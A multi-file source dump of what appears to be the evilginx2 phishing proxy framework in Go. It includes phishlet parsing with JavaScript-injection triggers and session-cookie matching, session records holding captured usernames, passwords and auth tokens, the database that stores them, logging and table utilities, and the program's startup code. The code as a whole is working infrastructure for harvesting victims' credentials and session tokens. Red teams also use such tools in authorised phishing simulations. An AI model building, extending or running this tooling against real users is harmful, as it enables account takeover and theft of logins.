714 | switch st[i] {
715 | case "regexp":
716 | var err error
717 | at.re, err = regexp.Compile(name)
718 | if err != nil {
719 | return err
720 | }
721 | case "opt":
722 | at.optional = true
723 | }
724 | }
725 | p.authTokens[hostname] = append(p.authTokens[hostname], at)
726 | }
727 | }
728 | return nil
729 | }
730 |
731 | func (p *Phishlet) addJsInject(trigger_domains []string, trigger_paths []string, trigger_params []string, script string) error {
732 | js := JsInject{}
733 | for _, d := range trigger_domains {
734 | js.trigger_domains = append(js.trigger_domains, strings.ToLower(d))
735 | }
736 | for _, d := range trigger_paths {
737 | re, err := regexp.Compile(d)
738 | if err == nil {
739 | js.trigger_paths = append(js.trigger_paths, re)
740 | } else {
741 | return fmt.Errorf("js_inject: %v", err)
742 | }
743 | }
744 | for _, d := range trigger_params {
745 | js.trigger_params = append(js.trigger_params, strings.ToLower(d))
746 | }
747 | js.script = script
748 |
749 | p.js_inject = append(p.js_inject, js)
750 | return nil
751 | }
752 |
753 | func (p *Phishlet) domainExists(domain string) bool {
754 | for _, d := range p.domains {
755 | if domain == d {
756 | return true
757 | }
758 | }
759 | return false
760 | }
761 |
762 | func (p *Phishlet) getAuthToken(domain string, token string) *AuthToken {
763 | if tokens, ok := p.authTokens[domain]; ok {
764 | for _, at := range tokens {
765 | if at.re != nil {
766 | if at.re.MatchString(token) {
767 | return at
768 | }
769 | } else if at.name == token {
770 | return at
771 | }
772 | }
773 | }
774 | return nil
775 | }
776 |
777 | func (p *Phishlet) isAuthToken(domain string, token string) bool {
778 | if at := p.getAuthToken(domain, token); at != nil {
779 | return true
780 | }
781 | return false
782 | }
783 |
784 | func (p *Phishlet) MimeExists(mime string) bool {
785 | return false
786 | }
787 |
788 | func (p *Phishlet) isVersionHigherEqual(pv *PhishletVersion, cver string) bool {
789 | cv, err := p.parseVersion(cver)
790 | if err != nil {
791 | return false
792 | }
793 |
794 | if pv.major > cv.major {
795 | return true
796 | }
797 | if pv.major == cv.major && pv.minor >= cv.minor {
798 | return true
799 | }
800 | return false
801 | }
802 |
803 | func (p *Phishlet) parseVersion(ver string) (PhishletVersion, error) {
804 | ret := PhishletVersion{}
805 | va := strings.Split(ver, ".")
806 | if len(va) != 3 {
807 | return ret, fmt.Errorf("invalid version format (must be X.Y.Z)")
808 | }
809 | var err error
810 | ret.major, err = strconv.Atoi(va[0])
811 | if err != nil {
812 | return ret, err
813 | }
814 | ret.minor, err = strconv.Atoi(va[1])
815 | if err != nil {
816 | return ret, err
817 | }
818 | ret.build, err = strconv.Atoi(va[2])
819 | if err != nil {
820 | return ret, err
821 | }
822 | return ret, nil
823 | }
824 |
--------------------------------------------------------------------------------
/core/session.go:
--------------------------------------------------------------------------------
1 | package core
2 |
3 | import (
4 | "github.com/kgretzky/evilginx2/database"
5 | )
6 |
7 | type Session struct {
8 | Id string
9 | Name string
10 | Username string
11 | Password string
12 | Custom map[string]string
13 | Params map[string]string
14 | Tokens map[string]map[string]*database.Token
15 | RedirectURL string
16 | IsDone bool
17 | IsAuthUrl bool
18 | IsForwarded bool
19 | RedirectCount int
20 | PhishLure *Lure
21 | }
22 |
23 | func NewSession(name string) (*Session, error) {
24 | s := &Session{
25 | Id: GenRandomToken(),
26 | Name: name,
27 | Username: "",
28 | Password: "",
29 | Custom: make(map[string]string),
30 | Params: make(map[string]string),
31 | RedirectURL: "",
32 | IsDone: false,
33 | IsAuthUrl: false,
34 | IsForwarded: false,
35 | RedirectCount: 0,
36 | PhishLure: nil,
37 | }
38 | s.Tokens = make(map[string]map[string]*database.Token)
39 |
40 | return s, nil
41 | }
42 |
43 | func (s *Session) SetUsername(username string) {
44 | s.Username = username
45 | }
46 |
47 | func (s *Session) SetPassword(password string) {
48 | s.Password = password
49 | }
50 |
51 | func (s *Session) SetCustom(name string, value string) {
52 | s.Custom[name] = value
53 | }
54 |
55 | func (s *Session) AddAuthToken(domain string, key string, value string, path string, http_only bool, authTokens map[string][]*AuthToken) bool {
56 | if _, ok := s.Tokens[domain]; !ok {
57 | s.Tokens[domain] = make(map[string]*database.Token)
58 | }
59 | if tk, ok := s.Tokens[domain][key]; ok {
60 | tk.Name = key
61 | tk.Value = value
62 | tk.Path = path
63 | tk.HttpOnly = http_only
64 | } else {
65 | s.Tokens[domain][key] = &database.Token{
66 | Name: key,
67 | Value: value,
68 | HttpOnly: http_only,
69 | }
70 | }
71 |
72 | tcopy := make(map[string][]AuthToken)
73 | for k, v := range authTokens {
74 | tcopy[k] = []AuthToken{}
75 | for _, at := range v {
76 | if !at.optional {
77 | tcopy[k] = append(tcopy[k], *at)
78 | }
79 | }
80 | }
81 |
82 | for domain, tokens := range s.Tokens {
83 | for tk := range tokens {
84 | if al, ok := tcopy[domain]; ok {
85 | for an, at := range al {
86 | match := false
87 | if at.re != nil {
88 | match = at.re.MatchString(tk)
89 | } else if at.name == tk {
90 | match = true
91 | }
92 | if match {
93 | tcopy[domain] = append(tcopy[domain][:an], tcopy[domain][an+1:]...)
94 | if len(tcopy[domain]) == 0 {
95 | delete(tcopy, domain)
96 | }
97 | break
98 | }
99 | }
100 | }
101 | }
102 | }
103 |
104 | return len(tcopy) == 0
105 | }
106 |
--------------------------------------------------------------------------------
/core/shared.go:
--------------------------------------------------------------------------------
1 | package core
2 |
3 | func combineHost(sub string, domain string) string {
4 | if sub == "" {
5 | return domain
6 | }
7 | return sub + "." + domain
8 | }
9 |
10 | func stringExists(s string, sa []string) bool {
11 | for _, k := range sa {
12 | if s == k {
13 | return true
14 | }
15 | }
16 | return false
17 | }
18 |
19 | func intExists(i int, ia []int) bool {
20 | for _, k := range ia {
21 | if i == k {
22 | return true
23 | }
24 | }
25 | return false
26 | }
27 |
28 | func truncateString(s string, maxLen int) string {
29 | if len(s) > maxLen {
30 | ml := maxLen
31 | pre := s[:ml/2-1]
32 | suf := s[len(s)-(ml/2-2):]
33 | return pre + "..." + suf
34 | }
35 | return s
36 | }
37 |
--------------------------------------------------------------------------------
/core/table.go:
--------------------------------------------------------------------------------
1 | /*
2 |
3 | This source file is a modified version of what was taken from the amazing bettercap (https://github.com/bettercap/bettercap) project.
4 | Credits go to Simone Margaritelli (@evilsocket) for providing awesome piece of code!
5 |
6 | */
7 |
8 | package core
9 |
10 | import (
11 | "fmt"
12 | "regexp"
13 | "strings"
14 | "unicode/utf8"
15 |
16 | "github.com/fatih/color"
17 | )
18 |
19 | func viewLen(s string) int {
20 | var ansi = regexp.MustCompile("\033\\[(?:[0-9]{1,3}(?:;[0-9]{1,3})*)?[m|K]")
21 | for _, m := range ansi.FindAllString(s, -1) {
22 | s = strings.Replace(s, m, "", -1)
23 | }
24 | return utf8.RuneCountInString(s)
25 | }
26 |
27 | func truncString(s string, maxLen int) string {
28 | var ansi = regexp.MustCompile("\033\\[(?:[0-9]{1,3}(?:;[0-9]{1,3})*)?[m|K]")
29 | sm := s
30 | for _, m := range ansi.FindAllString(sm, -1) {
31 | sm = strings.Replace(sm, m, "", -1)
32 | }
33 | nsm := sm
34 | if utf8.RuneCountInString(sm) > maxLen {
35 | if maxLen > 3 {
36 | nsm = nsm[:maxLen-3] + "..."
37 | } else {
38 | nsm = nsm[:maxLen]
39 | }
40 | s = strings.Replace(s, sm, nsm, -1)
41 | }
42 | return s
43 | }
44 |
45 | func maxLen(strings []string) int {
46 | maxLen := 0
47 | for _, s := range strings {
48 | len := viewLen(s)
49 | if len > maxLen {
50 | maxLen = len
51 | }
52 | }
53 | return maxLen
54 | }
55 |
56 | type Alignment int
57 |
58 | const (
59 | AlignLeft = Alignment(0)
60 | AlignCenter = Alignment(1)
61 | AlignRight = Alignment(2)
62 | )
63 |
64 | const minColLen = 16
65 |
66 | func getPads(s string, maxLen int, align Alignment) (lPad int, rPad int) {
67 | len := viewLen(s)
68 | diff := maxLen - len
69 |
70 | if align == AlignLeft {
71 | lPad = 0
72 | rPad = diff - lPad + 1
73 | } else if align == AlignCenter {
74 | lPad = diff / 2
75 | rPad = diff - lPad + 1
76 | } else if align == AlignRight {
77 | lPad = diff + 1
78 | rPad = 0
79 | }
80 |
81 | return
82 | }
83 |
84 | func padded(s string, maxLen int, align Alignment) string {
85 | lPad, rPad := getPads(s, maxLen, align)
86 | return fmt.Sprintf("%s%s%s", strings.Repeat(" ", lPad), s, strings.Repeat(" ", rPad))
87 | }
88 |
89 | func AsTable(columns []string, rows [][]string) string {
90 | colMaxLens := make([]int, 0)
91 |
92 | dg := color.New(color.FgHiBlack)
93 | for i, col := range columns {
94 | clen := viewLen(col) + 4
95 | if clen < minColLen {
96 | clen = minColLen
97 | }
98 | colMaxLens = append(colMaxLens, clen)
99 |
100 | columns[i] = fmt.Sprintf(" %s ", col)
101 | }
102 |
103 | for i, row := range rows {
104 | for j, cell := range row {
105 | rows[i][j] = fmt.Sprintf(" %s ", truncString(cell, colMaxLens[j])) //cell)
106 | }
107 | }
108 |
109 | colPaddings := make([]int, 0)
110 | lineSep := ""
111 | for colIndex, colHeader := range columns {
112 | column := []string{colHeader}
113 | for _, row := range rows {
114 |
115 | column = append(column, row[colIndex])
116 | }
117 | mLen := maxLen(column)
118 | colPaddings = append(colPaddings, mLen)
119 | lineSep += fmt.Sprintf("+%s", strings.Repeat("-", mLen+1))
120 | }
121 | lineSep += "+"
122 |
123 | table := ""
124 |
125 | // header
126 | table += dg.Sprintf("%s\n", lineSep)
127 | for colIndex, colHeader := range columns {
128 | table += dg.Sprintf("|") + padded(colHeader, colPaddings[colIndex], AlignCenter)
129 | }
130 | table += dg.Sprintf("|\n")
131 | table += dg.Sprintf("%s\n", lineSep)
132 |
133 | // rows
134 | for _, row := range rows {
135 | for colIndex, cell := range row {
136 | table += dg.Sprintf("|") + padded(cell, colPaddings[colIndex], AlignLeft)
137 | }
138 | table += dg.Sprintf("|\n")
139 | }
140 |
141 | // footer
142 | table += dg.Sprintf(lineSep) + "\n"
143 |
144 | return table
145 | }
146 |
147 | func AsRows(keys []string, vals []string) string {
148 | clr := color.New(color.FgHiBlack)
149 | mLen := maxLen(keys)
150 | var table string
151 | for i := range keys {
152 | table += clr.Sprintf(" %s : ", padded(keys[i], mLen, AlignLeft)) + fmt.Sprintf("%s\n", vals[i])
153 | }
154 | return table
155 | }
156 |
157 | func AsDescription(keys []string, vals []string) string {
158 | clr := color.New(color.FgHiBlack)
159 | var table string
160 | for i := range keys {
161 | table += clr.Sprintf(" %s", keys[i]) + fmt.Sprintf("\n %s\n", vals[i])
162 | }
163 | return table
164 | }
165 |
--------------------------------------------------------------------------------
/core/utils.go:
--------------------------------------------------------------------------------
1 | package core
2 |
3 | import (
4 | "crypto/rand"
5 | "crypto/sha256"
6 | "fmt"
7 | "os"
8 | )
9 |
10 | func GenRandomToken() string {
11 | rdata := make([]byte, 64)
12 | rand.Read(rdata)
13 | hash := sha256.Sum256(rdata)
14 | token := fmt.Sprintf("%x", hash)
15 | return token
16 | }
17 |
18 | func GenRandomString(n int) string {
19 | const lb = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
20 | b := make([]byte, n)
21 | for i := range b {
22 | t := make([]byte, 1)
23 | rand.Read(t)
24 | b[i] = lb[int(t[0])%len(lb)]
25 | }
26 | return string(b)
27 | }
28 |
29 | func GenRandomAlphanumString(n int) string {
30 | const lb = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
31 | b := make([]byte, n)
32 | for i := range b {
33 | t := make([]byte, 1)
34 | rand.Read(t)
35 | b[i] = lb[int(t[0])%len(lb)]
36 | }
37 | return string(b)
38 | }
39 |
40 | func CreateDir(path string, perm os.FileMode) error {
41 | if _, err := os.Stat(path); os.IsNotExist(err) {
42 | err = os.Mkdir(path, perm)
43 | if err != nil {
44 | return err
45 | }
46 | }
47 | return nil
48 | }
49 |
--------------------------------------------------------------------------------
/database/database.go:
--------------------------------------------------------------------------------
1 | package database
2 |
3 | import (
4 | "encoding/json"
5 | "strconv"
6 |
7 | "github.com/tidwall/buntdb"
8 | )
9 |
10 | type Database struct {
11 | path string
12 | db *buntdb.DB
13 | }
14 |
15 | func NewDatabase(path string) (*Database, error) {
16 | var err error
17 | d := &Database{
18 | path: path,
19 | }
20 |
21 | d.db, err = buntdb.Open(path)
22 | if err != nil {
23 | return nil, err
24 | }
25 |
26 | d.sessionsInit()
27 |
28 | d.db.Shrink()
29 | return d, nil
30 | }
31 |
32 | func (d *Database) CreateSession(sid string, phishlet string, landing_url string, useragent string, remote_addr string) error {
33 | _, err := d.sessionsCreate(sid, phishlet, landing_url, useragent, remote_addr)
34 | return err
35 | }
36 |
37 | func (d *Database) ListSessions() ([]*Session, error) {
38 | s, err := d.sessionsList()
39 | return s, err
40 | }
41 |
42 | func (d *Database) SetSessionUsername(sid string, username string) error {
43 | err := d.sessionsUpdateUsername(sid, username)
44 | return err
45 | }
46 |
47 | func (d *Database) SetSessionPassword(sid string, password string) error {
48 | err := d.sessionsUpdatePassword(sid, password)
49 | return err
50 | }
51 |
52 | func (d *Database) SetSessionCustom(sid string, name string, value string) error {
53 | err := d.sessionsUpdateCustom(sid, name, value)
54 | return err
55 | }
56 |
57 | func (d *Database) SetSessionTokens(sid string, tokens map[string]map[string]*Token) error {
58 | err := d.sessionsUpdateTokens(sid, tokens)
59 | return err
60 | }
61 |
62 | func (d *Database) DeleteSession(sid string) error {
63 | s, err := d.sessionsGetBySid(sid)
64 | if err != nil {
65 | return err
66 | }
67 | err = d.sessionsDelete(s.Id)
68 | return err
69 | }
70 |
71 | func (d *Database) DeleteSessionById(id int) error {
72 | _, err := d.sessionsGetById(id)
73 | if err != nil {
74 | return err
75 | }
76 | err = d.sessionsDelete(id)
77 | return err
78 | }
79 |
80 | func (d *Database) Flush() {
81 | d.db.Shrink()
82 | }
83 |
84 | func (d *Database) genIndex(table_name string, id int) string {
85 | return table_name + ":" + strconv.Itoa(id)
86 | }
87 |
88 | func (d *Database) getNextId(table_name string) (int, error) {
89 | var id int = 1
90 | var err error
91 | err = d.db.Update(func(tx *buntdb.Tx) error {
92 | var s_id string
93 | if s_id, err = tx.Get(table_name + ":0:id"); err == nil {
94 | if id, err = strconv.Atoi(s_id); err != nil {
95 | return err
96 | }
97 | }
98 | tx.Set(table_name+":0:id", strconv.Itoa(id+1), nil)
99 | return nil
100 | })
101 | return id, err
102 | }
103 |
104 | func (d *Database) getPivot(t interface{}) string {
105 | pivot, _ := json.Marshal(t)
106 | return string(pivot)
107 | }
108 |
--------------------------------------------------------------------------------
/database/db_session.go:
--------------------------------------------------------------------------------
1 | package database
2 |
3 | import (
4 | "encoding/json"
5 | "fmt"
6 | "time"
7 |
8 | "github.com/tidwall/buntdb"
9 | )
10 |
11 | const SessionTable = "sessions"
12 |
13 | type Session struct {
14 | Id int `json:"id"`
15 | Phishlet string `json:"phishlet"`
16 | LandingURL string `json:"landing_url"`
17 | Username string `json:"username"`
18 | Password string `json:"password"`
19 | Custom map[string]string `json:"custom"`
20 | Tokens map[string]map[string]*Token `json:"tokens"`
21 | SessionId string `json:"session_id"`
22 | UserAgent string `json:"useragent"`
23 | RemoteAddr string `json:"remote_addr"`
24 | CreateTime int64 `json:"create_time"`
25 | UpdateTime int64 `json:"update_time"`
26 | }
27 |
28 | type Token struct {
29 | Name string
30 | Value string
31 | Path string
32 | HttpOnly bool
33 | }
34 |
35 | func (d *Database) sessionsInit() {
36 | d.db.CreateIndex("sessions_id", SessionTable+":*", buntdb.IndexJSON("id"))
37 | d.db.CreateIndex("sessions_sid", SessionTable+":*", buntdb.IndexJSON("session_id"))
38 | }
39 |
40 | func (d *Database) sessionsCreate(sid string, phishlet string, landing_url string, useragent string, remote_addr string) (*Session, error) {
41 | _, err := d.sessionsGetBySid(sid)
42 | if err == nil {
43 | return nil, fmt.Errorf("session already exists: %s", sid)
44 | }
45 |
46 | id, _ := d.getNextId(SessionTable)
47 |
48 | s := &Session{
49 | Id: id,
50 | Phishlet: phishlet,
51 | LandingURL: landing_url,
52 | Username: "",
53 | Password: "",
54 | Custom: make(map[string]string),
55 | Tokens: make(map[string]map[string]*Token),
56 | SessionId: sid,
57 | UserAgent: useragent,
58 | RemoteAddr: remote_addr,
59 | CreateTime: time.Now().UTC().Unix(),
60 | UpdateTime: time.Now().UTC().Unix(),
61 | }
62 |
63 | jf, _ := json.Marshal(s)
64 |
65 | err = d.db.Update(func(tx *buntdb.Tx) error {
66 | tx.Set(d.genIndex(SessionTable, id), string(jf), nil)
67 | return nil
68 | })
69 | if err != nil {
70 | return nil, err
71 | }
72 | return s, nil
73 | }
74 |
75 | func (d *Database) sessionsList() ([]*Session, error) {
76 | sessions := []*Session{}
77 | err := d.db.View(func(tx *buntdb.Tx) error {
78 | tx.Ascend("sessions_id", func(key, val string) bool {
79 | s := &Session{}
80 | if err := json.Unmarshal([]byte(val), s); err == nil {
81 | sessions = append(sessions, s)
82 | }
83 | return true
84 | })
85 | return nil
86 | })
87 | if err != nil {
88 | return nil, err
89 | }
90 | return sessions, nil
91 | }
92 |
93 | func (d *Database) sessionsUpdateUsername(sid string, username string) error {
94 | s, err := d.sessionsGetBySid(sid)
95 | if err != nil {
96 | return err
97 | }
98 | s.Username = username
99 | s.UpdateTime = time.Now().UTC().Unix()
100 |
101 | err = d.sessionsUpdate(s.Id, s)
102 | return err
103 | }
104 |
105 | func (d *Database) sessionsUpdatePassword(sid string, password string) error {
106 | s, err := d.sessionsGetBySid(sid)
107 | if err != nil {
108 | return err
109 | }
110 | s.Password = password
111 | s.UpdateTime = time.Now().UTC().Unix()
112 |
113 | err = d.sessionsUpdate(s.Id, s)
114 | return err
115 | }
116 |
117 | func (d *Database) sessionsUpdateCustom(sid string, name string, value string) error {
118 | s, err := d.sessionsGetBySid(sid)
119 | if err != nil {
120 | return err
121 | }
122 | s.Custom[name] = value
123 | s.UpdateTime = time.Now().UTC().Unix()
124 |
125 | err = d.sessionsUpdate(s.Id, s)
126 | return err
127 | }
128 |
129 | func (d *Database) sessionsUpdateTokens(sid string, tokens map[string]map[string]*Token) error {
130 | s, err := d.sessionsGetBySid(sid)
131 | if err != nil {
132 | return err
133 | }
134 | s.Tokens = tokens
135 | s.UpdateTime = time.Now().UTC().Unix()
136 |
137 | err = d.sessionsUpdate(s.Id, s)
138 | return err
139 | }
140 |
141 | func (d *Database) sessionsUpdate(id int, s *Session) error {
142 | jf, _ := json.Marshal(s)
143 |
144 | err := d.db.Update(func(tx *buntdb.Tx) error {
145 | tx.Set(d.genIndex(SessionTable, id), string(jf), nil)
146 | return nil
147 | })
148 | return err
149 | }
150 |
151 | func (d *Database) sessionsDelete(id int) error {
152 | err := d.db.Update(func(tx *buntdb.Tx) error {
153 | _, err := tx.Delete(d.genIndex(SessionTable, id))
154 | return err
155 | })
156 | return err
157 | }
158 |
159 | func (d *Database) sessionsGetById(id int) (*Session, error) {
160 | s := &Session{}
161 | err := d.db.View(func(tx *buntdb.Tx) error {
162 | found := false
163 | err := tx.AscendEqual("sessions_id", d.getPivot(map[string]int{"id": id}), func(key, val string) bool {
164 | json.Unmarshal([]byte(val), s)
165 | found = true
166 | return false
167 | })
168 | if !found {
169 | return fmt.Errorf("session ID not found: %d", id)
170 | }
171 | return err
172 | })
173 | if err != nil {
174 | return nil, err
175 | }
176 | return s, nil
177 | }
178 |
179 | func (d *Database) sessionsGetBySid(sid string) (*Session, error) {
180 | s := &Session{}
181 | err := d.db.View(func(tx *buntdb.Tx) error {
182 | found := false
183 | err := tx.AscendEqual("sessions_sid", d.getPivot(map[string]string{"session_id": sid}), func(key, val string) bool {
184 | json.Unmarshal([]byte(val), s)
185 | found = true
186 | return false
187 | })
188 | if !found {
189 | return fmt.Errorf("session not found: %s", sid)
190 | }
191 | return err
192 | })
193 | if err != nil {
194 | return nil, err
195 | }
196 | return s, nil
197 | }
198 |
--------------------------------------------------------------------------------
/go.mod:
--------------------------------------------------------------------------------
1 | module github.com/kgretzky/evilginx2
2 |
3 | go 1.12
4 |
5 | require (
6 | github.com/chzyer/logex v1.1.10 // indirect
7 | github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e
8 | github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1 // indirect
9 | github.com/elazarl/goproxy v0.0.0-20190911111923-ecfe977594f1
10 | github.com/fatih/color v1.7.0
11 | github.com/go-acme/lego/v3 v3.1.0
12 | github.com/gorilla/mux v1.7.3
13 | github.com/inconshreveable/go-vhost v0.0.0-20160627193104-06d84117953b
14 | github.com/mattn/go-colorable v0.1.4 // indirect
15 | github.com/miekg/dns v1.1.22
16 | github.com/mwitkow/go-http-dialer v0.0.0-20161116154839-378f744fb2b8
17 | github.com/spf13/viper v1.4.0
18 | github.com/tidwall/btree v0.0.0-20170113224114-9876f1454cf0 // indirect
19 | github.com/tidwall/buntdb v1.1.0
20 | github.com/tidwall/gjson v1.3.2 // indirect
21 | github.com/tidwall/grect v0.0.0-20161006141115-ba9a043346eb // indirect
22 | github.com/tidwall/rtree v0.0.0-20180113144539-6cd427091e0e // indirect
23 | github.com/tidwall/tinyqueue v0.0.0-20180302190814-1e39f5511563 // indirect
24 | golang.org/x/net v0.0.0-20200707034311-ab3426394381
25 | )
26 |
--------------------------------------------------------------------------------
/goreleaser.yml:
--------------------------------------------------------------------------------
1 | archives:
2 | -
3 | format_overrides:
4 | - goos: windows
5 | format: zip
6 | files:
7 | - README.md
8 | - LICENSE
9 | - CHANGELOG
10 | - phishlets/*
11 | - templates/*
12 |
13 | builds:
14 | -
15 | goos:
16 | - windows
17 | - linux
18 | - darwin
19 | goarch:
20 | - 386
21 | - amd64
22 | - arm
23 | - arm64
24 | ignore:
25 | - goos: darwin
26 | goarch: 386
27 | - goos: darwin
28 | goarch: arm
29 | - goos: windows
30 | goarch: arm
31 | - goos: windows
32 | goarch: arm64
--------------------------------------------------------------------------------
/log/log.go:
--------------------------------------------------------------------------------
1 | package log
2 |
3 | import (
4 | "fmt"
5 | "io"
6 | "io/ioutil"
7 | "log"
8 | "sync"
9 | "time"
10 |
11 | "github.com/chzyer/readline"
12 | "github.com/fatih/color"
13 | )
14 |
15 | var stdout io.Writer = color.Output
16 | var g_rl *readline.Instance = nil
17 | var debug_output = true
18 | var mtx_log *sync.Mutex = &sync.Mutex{}
19 |
20 | const (
21 | DEBUG = iota
22 | INFO
23 | IMPORTANT
24 | WARNING
25 | ERROR
26 | FATAL
27 | SUCCESS
28 | )
29 |
30 | var LogLabels = map[int]string{
31 | DEBUG: "dbg",
32 | INFO: "inf",
33 | IMPORTANT: "imp",
34 | WARNING: "war",
35 | ERROR: "err",
36 | FATAL: "!!!",
37 | SUCCESS: "+++",
38 | }
39 |
40 | func DebugEnable(enable bool) {
41 | debug_output = enable
42 | }
43 |
44 | func SetOutput(o io.Writer) {
45 | stdout = o
46 | }
47 |
48 | func SetReadline(rl *readline.Instance) {
49 | g_rl = rl
50 | }
51 |
52 | func GetOutput() io.Writer {
53 | return stdout
54 | }
55 |
56 | func NullLogger() *log.Logger {
57 | return log.New(ioutil.Discard, "", 0)
58 | }
59 |
60 | func refreshReadline() {
61 | if g_rl != nil {
62 | g_rl.Refresh()
63 | }
64 | }
65 |
66 | func Debug(format string, args ...interface{}) {
67 | mtx_log.Lock()
68 | defer mtx_log.Unlock()
69 |
70 | if debug_output {
71 | fmt.Fprint(stdout, format_msg(DEBUG, format+"\n", args...))
72 | refreshReadline()
73 | }
74 | }
75 |
76 | func Info(format string, args ...interface{}) {
77 | mtx_log.Lock()
78 | defer mtx_log.Unlock()
79 |
80 | fmt.Fprint(stdout, format_msg(INFO, format+"\n", args...))
81 | refreshReadline()
82 | }
83 |
84 | func Important(format string, args ...interface{}) {
85 | mtx_log.Lock()
86 | defer mtx_log.Unlock()
87 |
88 | fmt.Fprint(stdout, format_msg(IMPORTANT, format+"\n", args...))
89 | refreshReadline()
90 | }
91 |
92 | func Warning(format string, args ...interface{}) {
93 | mtx_log.Lock()
94 | defer mtx_log.Unlock()
95 |
96 | fmt.Fprint(stdout, format_msg(WARNING, format+"\n", args...))
97 | refreshReadline()
98 | }
99 |
100 | func Error(format string, args ...interface{}) {
101 | mtx_log.Lock()
102 | defer mtx_log.Unlock()
103 |
104 | fmt.Fprint(stdout, format_msg(ERROR, format+"\n", args...))
105 | refreshReadline()
106 | }
107 |
108 | func Fatal(format string, args ...interface{}) {
109 | mtx_log.Lock()
110 | defer mtx_log.Unlock()
111 |
112 | fmt.Fprint(stdout, format_msg(FATAL, format+"\n", args...))
113 | refreshReadline()
114 | }
115 |
116 | func Success(format string, args ...interface{}) {
117 | mtx_log.Lock()
118 | defer mtx_log.Unlock()
119 |
120 | fmt.Fprint(stdout, format_msg(SUCCESS, format+"\n", args...))
121 | refreshReadline()
122 | }
123 |
124 | func Printf(format string, args ...interface{}) {
125 | mtx_log.Lock()
126 | defer mtx_log.Unlock()
127 |
128 | fmt.Fprintf(stdout, format, args...)
129 | refreshReadline()
130 | }
131 |
132 | func format_msg(lvl int, format string, args ...interface{}) string {
133 | t := time.Now()
134 | var sign, msg *color.Color
135 | switch lvl {
136 | case DEBUG:
137 | sign = color.New(color.FgBlack, color.BgHiBlack)
138 | msg = color.New(color.Reset, color.FgHiBlack)
139 | case INFO:
140 | sign = color.New(color.FgGreen, color.BgBlack)
141 | msg = color.New(color.Reset)
142 | case IMPORTANT:
143 | sign = color.New(color.FgWhite, color.BgHiBlue)
144 | //msg = color.New(color.Reset, color.FgHiBlue)
145 | msg = color.New(color.Reset)
146 | case WARNING:
147 | sign = color.New(color.FgBlack, color.BgYellow)
148 | //msg = color.New(color.Reset, color.FgYellow)
149 | msg = color.New(color.Reset)
150 | case ERROR:
151 | sign = color.New(color.FgWhite, color.BgRed)
152 | msg = color.New(color.Reset, color.FgRed)
153 | case FATAL:
154 | sign = color.New(color.FgBlack, color.BgRed)
155 | msg = color.New(color.Reset, color.FgRed, color.Bold)
156 | case SUCCESS:
157 | sign = color.New(color.FgWhite, color.BgGreen)
158 | msg = color.New(color.Reset, color.FgGreen)
159 | }
160 | time_clr := color.New(color.Reset)
161 | return "\r[" + time_clr.Sprintf("%02d:%02d:%02d", t.Hour(), t.Minute(), t.Second()) + "] [" + sign.Sprintf("%s", LogLabels[lvl]) + "] " + msg.Sprintf(format, args...)
162 | }
163 |
--------------------------------------------------------------------------------
/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "flag"
5 | "io/ioutil"
6 | "os"
7 | "os/user"
8 | "path/filepath"
9 | "regexp"
10 |
11 | "github.com/kgretzky/evilginx2/core"
12 | "github.com/kgretzky/evilginx2/database"
13 | "github.com/kgretzky/evilginx2/log"
14 | )
15 |
16 | var (
17 | phishlets_dir = flag.String("p", "", "Phishlets directory path")
18 | templates_dir = flag.String("t", "", "HTML templates directory path")
19 | debug_log = flag.Bool("debug", false, "Enable debug output")
20 | developer_mode = flag.Bool("developer", false, "Enable developer mode (generates self-signed certificates for all hostnames)")
21 | cfg_dir = flag.String("c", "", "Configuration directory path")
22 | )
23 |
24 | func joinPath(base_path string, rel_path string) string {
25 | var ret string
26 | if filepath.IsAbs(rel_path) {
27 | ret = rel_path
28 | } else {
29 | ret = filepath.Join(base_path, rel_path)
30 | }
31 | return ret
32 | }
33 |
34 | func main() {
35 | flag.Parse()
36 | Start(false, *phishlets_dir, *debug_log, *developer_mode, *cfg_dir, *templates_dir)
37 | }
38 |
39 | func Start(run_background bool, phishlets_path string, debug bool, dev bool, config_path string, template_path string) *core.Terminal {
40 | exe_path, _ := os.Executable()
41 | exe_dir := filepath.Dir(exe_path)
42 |
43 | core.Banner()
44 | flag.Parse()
45 | if phishlets_path == "" {
46 | phishlets_path = joinPath(exe_dir, "./phishlets")
47 | if _, err := os.Stat(phishlets_path); os.IsNotExist(err) {
48 | phishlets_path = "/usr/share/evilginx/phishlets/"
49 | if _, err := os.Stat(phishlets_path); os.IsNotExist(err) {
50 | log.Fatal("You need to provide the path to directory where your phishlets are stored: ./evilginx -p ")
51 | return nil
52 | }
53 | }
54 | }
55 | if template_path == "" {
56 | template_path = joinPath(exe_dir, "./templates")
57 | if _, err := os.Stat(template_path); os.IsNotExist(err) {
58 | template_path = "/usr/share/evilginx/templates/"
59 | if _, err := os.Stat(template_path); os.IsNotExist(err) {
60 | template_path = joinPath(exe_dir, "./templates")
61 | }
62 | }
63 | }
64 | if _, err := os.Stat(phishlets_path); os.IsNotExist(err) {
65 | log.Fatal("Provided phishlets directory path does not exist: %s", phishlets_path)
66 | return nil
67 | }
68 | if _, err := os.Stat(template_path); os.IsNotExist(err) {
69 | os.MkdirAll(template_path, os.FileMode(0700))
70 | }
71 |
72 | log.DebugEnable(debug)
73 | if debug {
74 | log.Info("debug output enabled")
75 | }
76 |
77 | log.Info("loading phishlets from: %s", phishlets_path)
78 |
79 | if config_path == "" {
80 | usr, err := user.Current()
81 | if err != nil {
82 | log.Fatal("%v", err)
83 | return nil
84 | }
85 | config_path = filepath.Join(usr.HomeDir, ".evilginx")
86 | }
87 |
88 | log.Info("loading configuration from: %s", config_path)
89 |
90 | err := os.MkdirAll(config_path, os.FileMode(0700))
91 | if err != nil {
92 | log.Fatal("%v", err)
93 | return nil
94 | }
95 |
96 | crt_path := joinPath(config_path, "./crt")
97 |
98 | if err := core.CreateDir(crt_path, 0700); err != nil {
99 | log.Fatal("mkdir: %v", err)
100 | return nil
101 | }
102 |
103 | cfg, err := core.NewConfig(config_path, "")
104 | if err != nil {
105 | log.Fatal("config: %v", err)
106 | return nil
107 | }
108 | cfg.SetTemplatesDir(template_path)
109 |
110 | db, err := database.NewDatabase(filepath.Join(config_path, "data.db"))
111 | if err != nil {
112 | log.Fatal("database: %v", err)
113 | return nil
114 | }
115 |
